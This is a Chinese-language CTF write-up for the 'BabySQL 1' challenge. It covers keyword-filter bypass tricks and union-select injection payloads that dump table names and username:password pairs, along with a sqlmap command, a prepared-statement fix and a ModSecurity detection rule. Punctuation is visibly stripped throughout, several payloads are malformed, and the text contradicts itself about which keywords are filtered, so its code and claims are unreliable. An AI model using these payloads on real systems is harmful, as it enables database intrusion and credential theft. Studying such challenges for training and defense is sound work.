
1. 题目背景解析BabySQL 1是2019年极客大挑战中的一道SQL注入类CTF题目。这类题目通常模拟真实Web应用中的数据库交互场景考察选手对SQL注入原理的理解和绕过技巧的掌握。题目名称中的Baby暗示这是一个基础级别的SQL注入挑战适合新手入门学习。从题目编号1可以看出这是该系列的第一题通常会设置相对简单的过滤机制主要考察基础的注入手法。这类题目在实际CTF比赛中非常常见是Web安全方向的必考知识点。2. 环境搭建与题目分析2.1 题目环境准备首先我们需要搭建本地测试环境来复现这道题目。推荐使用Docker快速部署docker pull ctftraining/baby_sql docker run -d -p 8080:80 --name baby_sql ctftraining/baby_sql访问http://localhost:8080即可看到题目界面。典型的登录页面结构包含用户名和密码输入框。2.2 初步测试尝试基本的SQL注入payloadadmin or 11 --发现返回错误信息提示某些关键字被过滤。这是题目设置的防御机制我们需要分析具体的过滤规则。3. 过滤机制分析与绕过3.1 识别过滤关键字通过系统化测试可以发现以下关键字被过滤orandselectfromwhereunion空格注释符(--, #)3.2 绕过技巧详解3.2.1 关键字替换对于被过滤的关键字可以采用以下替代方案or → || (逻辑或)and → (逻辑与) → like空格 → /**/或%09(TAB)3.2.2 注释符绕过由于常规注释符被过滤可以使用||11||这种闭合方式代替注释。3.2.3 等号绕过等号被过滤时可以使用likeregexp反向逻辑4. 完整注入流程4.1 判断注入点使用测试payloadadmin||1like1如果返回正常说明存在注入点。4.2 获取数据库信息绕过select过滤获取数据库版本admin/**/union/**/select/**/1,version(),3||这里使用/**/代替空格version()替代被过滤的database()。4.3 获取表名admin/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()||4.4 获取字段名admin/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**users||4.5 获取flag最后获取目标数据admin/**/union/**/select/**/1,group_concat(username,0x3a,password),3/**/from/**/users||5. 自动化工具使用虽然手工注入有助于理解原理但在实际场景中可以使用sqlmap提高效率sqlmap -u http://target/login.php --datausernameadminpassword123 --tamperspace2comment --random-agent --level3关键参数说明--tamperspace2comment将空格转换为/**/--level3提高检测级别--random-agent随机User-Agent6. 防御方案6.1 代码层面// 预处理语句 $stmt $conn-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-bind_param(ss, $username, $password); $stmt-execute();6.2 WAF规则SecRule REQUEST_FILENAME contains login.php \ id:1001,\ phase:2,\ t:none,\ block,\ msg:SQLi attempt,\ chain SecRule ARGS rx (?i)(union|select|from|where|and|or|\-\-|#|)7. 常见问题排查7.1 注入无响应可能原因过滤规则未完全绕过注入点判断错误特殊字符编码问题解决方案系统化测试每个字符的过滤情况尝试不同参数位置使用URL编码特殊字符7.2 获取数据不完整可能原因数据截断字段类型不匹配解决方案使用limit分页获取使用cast()转换字段类型8. 实战经验分享在测试过滤规则时建议从简单到复杂逐步测试先确定哪些字符被过滤再设计绕过方案。遇到复杂过滤时可以尝试以下技巧大小写混合SeLeCt双重编码%2520代替空格内联注释/!select/实际比赛中时间有限建议先手工确认注入点再用工具爆破。注意Web服务器日志可能会记录攻击行为在合法授权范围内进行测试。不同数据库的语法差异很大MySQL的绕过方法不一定适用于Oracle或SQL Server。这道题目虽然名为BabySQL但完整涵盖了SQL注入的基础知识点。通过这道题目的练习可以掌握基本的注入检测、绕过技巧和数据获取方法。在实际应用中务必遵守法律法规仅在授权范围内进行安全测试。